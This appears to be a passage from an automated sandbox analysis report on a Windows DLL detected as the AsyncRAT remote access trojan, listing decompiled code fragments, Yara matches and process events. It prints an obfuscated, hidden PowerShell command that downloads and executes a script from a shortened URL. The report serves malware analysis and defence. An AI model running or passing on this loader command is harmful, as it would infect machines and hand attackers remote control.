Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 17.2.powershell.exe.289cd920000.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 17.2.powershell.exe.289cd920000.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 17.2.powershell.exe.289cd920000.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, Messages.cs	.Net Code: Memory
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, Messages.cs	.Net Code: Memory
Source: 17.2.powershell.exe.289cd920000.0.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 17.2.powershell.exe.289cd920000.0.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 17.2.powershell.exe.289cd920000.0.raw.unpack, Messages.cs	.Net Code: Memory
Source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, Messages.cs	.Net Code: Memory

Binary or sample is protected by dotNetProtector

Source: powershell.exe, 0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: dotNetProtector
Source: powershell.exe, 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: dotNetProtector
Source: powershell.exe, 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: dotNetProtector
Source: powershell.exe, 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: dotNetProtector

Obfuscated command line found

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.cmdline"

Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll

Static PE information: section name: _RDATA

Source: C:\Windows\System32\loaddll64.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FF848E9792B push ebx; retf		15_2_00007FF848E9796A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FF848E978CB push ebx; retf		15_2_00007FF848E9796A

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.dll	Jump to dropped file

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 17.2.powershell.exe.289cd920000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300f54bf8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce8c4818.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080f54ef0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289cd920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300dcdd88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080dcd9a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce73e268.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
